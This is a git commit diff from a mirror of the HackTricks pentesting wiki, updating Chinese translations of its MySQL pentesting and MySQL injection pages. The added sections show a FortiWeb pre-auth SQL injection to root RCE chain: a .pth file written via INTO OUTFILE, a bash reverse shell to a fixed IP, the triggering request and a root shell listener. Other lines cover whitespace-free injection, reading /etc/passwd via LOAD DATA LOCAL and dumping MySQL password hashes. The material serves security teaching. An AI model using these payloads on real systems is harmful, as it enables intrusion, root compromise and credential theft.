mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md', 'src/
This commit is contained in:
parent
94283199b3
commit
6dd9807293
@ -1,10 +1,15 @@
|
||||
# 3306 - Pentesting Mysql
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## References
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**MySQL** 可以被描述为一个开源的 **关系数据库管理系统 (RDBMS)**,可免费使用。它基于 **结构化查询语言 (SQL)**,使得数据库的管理和操作成为可能。
|
||||
**MySQL** 可以被描述为一个开源的 **关系数据库管理系统 (RDBMS)**,是免费的。它基于 **结构化查询语言 (SQL)**,使得数据库的管理和操作成为可能。
|
||||
|
||||
**默认端口:** 3306
|
||||
```
|
||||
@ -101,7 +106,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
您可以在文档中查看每个权限的含义: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
您可以在文档中查看每个权限的含义:[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQL 文件 RCE
|
||||
|
||||
@ -109,14 +114,51 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
## MySQL 客户端任意读取文件
|
||||
#### INTO OUTFILE → Python `.pth` RCE(特定于站点的配置钩子)
|
||||
|
||||
实际上,当您尝试 **load data local into a table** **文件的内容** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取它** 并发送内容。**然后,如果您可以篡改 mysql 客户端以连接到您自己的 MySQL 服务器,您可以读取任意文件。**\
|
||||
请注意,这是使用以下方式的行为:
|
||||
利用经典的 `INTO OUTFILE` 原语,可以在后续运行 **Python** 脚本的目标上获得 *任意代码执行*。
|
||||
|
||||
1. 使用 `INTO OUTFILE` 在 `site.py` 自动加载的任何目录中放置自定义 **`.pth`** 文件(例如 `.../lib/python3.10/site-packages/`)。
|
||||
2. `.pth` 文件可以包含以 `import ` 开头的 *单行*,后面跟随任意 Python 代码,每次解释器启动时都会执行。
|
||||
3. 当解释器被 CGI 脚本隐式执行时(例如 `/cgi-bin/ml-draw.py`,shebang 为 `#!/bin/python`),有效载荷将以与 web 服务器进程相同的权限执行(FortiWeb 以 **root** 身份运行它 → 完全的预认证 RCE)。
|
||||
|
||||
示例 `.pth` 有效载荷(单行,最终 SQL 有效载荷中不能包含空格,因此可能需要使用 hex/`UNHEX()` 或字符串连接):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
通过**UNION**查询构造文件的示例(用`/**/`替换空格字符,以绕过`sscanf("%128s")`空格过滤器,并保持总长度≤128字节):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
重要的限制和绕过:
|
||||
|
||||
* `INTO OUTFILE` **无法覆盖** 已存在的文件;选择一个新文件名。
|
||||
* 文件路径是 **相对于 MySQL 的当前工作目录** 解析的,因此在前面加上 `../../` 有助于缩短路径并绕过绝对路径限制。
|
||||
* 如果攻击者输入使用 `%128s`(或类似)提取,任何空格都会截断有效负载;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替换空格。
|
||||
* 运行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb)中,服务以 **root** 身份运行,几乎在任何地方都可以写入。
|
||||
|
||||
在删除 `.pth` 后,只需请求任何由 Python 解释器处理的 CGI 以获取代码执行:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
Python 进程将自动导入恶意的 `.pth` 文件并执行 shell 负载。
|
||||
```
|
||||
# Attacker
|
||||
$ nc -lvnp 4444
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
|
||||
## MySQL 任意读取客户端文件
|
||||
|
||||
实际上,当你尝试 **load data local into a table** 文件的 **内容** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取它** 并发送内容。 **然后,如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器,你就可以读取任意文件。**\
|
||||
请注意,这是使用以下方式的行为:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(注意“local”这个词)\
|
||||
(注意“local”这个词)\
|
||||
因为没有“local”,你可能会得到:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -148,7 +190,7 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
||||
- **`password`** 用于建立与 MySQL 用户相关联的密码。
|
||||
- **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
|
||||
- **`debug`** 变量指示当前的调试配置,包括日志中的敏感信息。
|
||||
- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串,日志中包含敏感数据。
|
||||
- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串,这些字符串包含日志中的敏感数据。
|
||||
- 使用 **`secure_file_priv`**,数据导入和导出操作的范围受到限制,以增强安全性。
|
||||
|
||||
### 权限提升
|
||||
@ -171,7 +213,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### 特权提升通过库
|
||||
|
||||
如果 **mysql 服务器以 root 用户**(或其他更高权限的用户)运行,您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个 **库**,该库适用于运行 mysql 的操作系统。
|
||||
如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个运行 mysql 的操作系统的 **库**。
|
||||
|
||||
可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的。
|
||||
|
||||
@ -222,7 +264,7 @@ cat /etc/mysql/debian.cnf
|
||||
```
|
||||
您可以**使用这些凭据登录mysql数据库**。
|
||||
|
||||
在文件 _/var/lib/mysql/mysql/user.MYD_ 中,您可以找到**所有MySQL用户的哈希值**(您可以从数据库中的mysql.user提取的那些)_。
|
||||
在文件: _/var/lib/mysql/mysql/user.MYD_ 中,您可以找到**所有MySQL用户的哈希值**(您可以从数据库中的mysql.user提取的那些)_。
|
||||
|
||||
您可以通过以下方式提取它们:
|
||||
```bash
|
||||
@ -230,7 +272,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
|
||||
```
|
||||
### 启用日志记录
|
||||
|
||||
您可以通过取消注释以下行来启用 `/etc/mysql/my.cnf` 中的 mysql 查询日志记录:
|
||||
您可以通过取消注释以下行在 `/etc/mysql/my.cnf` 中启用 mysql 查询的日志记录:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -609,6 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
|
||||
## 参考
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -14,7 +14,7 @@
|
||||
```
|
||||
## 有趣的函数
|
||||
|
||||
### 确认 Mysql:
|
||||
### 确认 Mysql:
|
||||
```
|
||||
concat('a','b')
|
||||
database()
|
||||
@ -48,6 +48,8 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||
```sql
|
||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||
```
|
||||
从 [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||
|
||||
## 流程
|
||||
|
||||
请记住,在“现代”版本的 **MySQL** 中,您可以将 "_**information_schema.tables**_" 替换为 "_**mysql.innodb_table_stats**_**"**(这可能有助于绕过 WAF)。
|
||||
@ -57,7 +59,7 @@ SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME
|
||||
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
|
||||
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
```
|
||||
### **仅 1 个值**
|
||||
### **仅一个值**
|
||||
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
@ -90,7 +92,7 @@ UniOn SeLect 1,2
|
||||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## MySQL 联合注入
|
||||
## MySQL 联合查询基础
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
@ -99,7 +101,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
## SSRF
|
||||
|
||||
**在这里了解不同的选项以** [**滥用Mysql注入来获得SSRF**](mysql-ssrf.md)**。**
|
||||
**在这里了解不同的选项以** [**滥用Mysql注入来获取SSRF**](mysql-ssrf.md)**。**
|
||||
|
||||
## WAF绕过技巧
|
||||
|
||||
@ -113,7 +115,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
|
||||
### Information_schema 替代方案
|
||||
|
||||
请记住,在 **MySQL** 的“现代”版本中,您可以将 _**information_schema.tables**_ 替换为 _**mysql.innodb_table_stats**_ 或 _**sys.x$schema_flattened_keys**_ 或 **sys.schema_table_statistics**
|
||||
请记住,在“现代”版本的 **MySQL** 中,您可以将 _**information_schema.tables**_ 替换为 _**mysql.innodb_table_stats**_ 或 _**sys.x$schema_flattened_keys**_ 或 **sys.schema_table_statistics**
|
||||
|
||||
### MySQL 注入无逗号
|
||||
|
||||
@ -123,22 +125,43 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
### 检索没有列名的值
|
||||
|
||||
如果在某个时刻你知道表的名称,但不知道表内列的名称,你可以尝试执行类似以下的操作来查找有多少列:
|
||||
如果在某个时刻你知道表的名称,但不知道表内列的名称,你可以尝试执行类似的操作来查找有多少列:
|
||||
```bash
|
||||
# When a True is returned, you have found the number of columns
|
||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||
```
|
||||
假设有两列(第一列是ID,第二列是flag),你可以尝试逐个字符地暴力破解flag的内容:
|
||||
假设有两列(第一列是ID,另一列是flag),你可以尝试逐个字符地暴力破解flag的内容:
|
||||
```bash
|
||||
# When True, you found the correct char and can start ruteforcing the next position
|
||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||
```
|
||||
更多信息请访问 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
更多信息请见 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||
|
||||
### 无空格注入 (`/**/` 注释技巧)
|
||||
|
||||
一些应用程序使用 `sscanf("%128s", buf)` 等函数对用户输入进行清理或解析,这些函数 **在第一个空格字符处停止**。因为 MySQL 将序列 `/**/` 视为注释 *和* 空白,所以可以用它来完全去除有效负载中的正常空格,同时保持查询在语法上有效。
|
||||
|
||||
示例:基于时间的盲注入绕过空格过滤:
|
||||
```http
|
||||
GET /api/fabric/device/status HTTP/1.1
|
||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||
```
|
||||
数据库接收为:
|
||||
```sql
|
||||
' OR SLEEP(5)-- -'
|
||||
```
|
||||
这在以下情况下特别有用:
|
||||
|
||||
* 可控缓冲区的大小受到限制(例如,`%128s`),并且空格会提前终止输入。
|
||||
* 通过 HTTP 头或其他字段注入,其中正常空格被删除或用作分隔符。
|
||||
* 与 `INTO OUTFILE` 原语结合使用,以实现完全的预认证 RCE(请参见 MySQL 文件 RCE 部分)。
|
||||
|
||||
---
|
||||
|
||||
### MySQL 历史
|
||||
|
||||
您可以通过读取表格 **sys.x$statement_analysis** 查看其他执行情况。
|
||||
您可以在 MySQL 中查看其他执行,读取表:**sys.x$statement_analysis**
|
||||
|
||||
### 版本替代**s**
|
||||
```
|
||||
@ -148,11 +171,12 @@ mysql> select version();
|
||||
```
|
||||
## 其他MYSQL注入指南
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user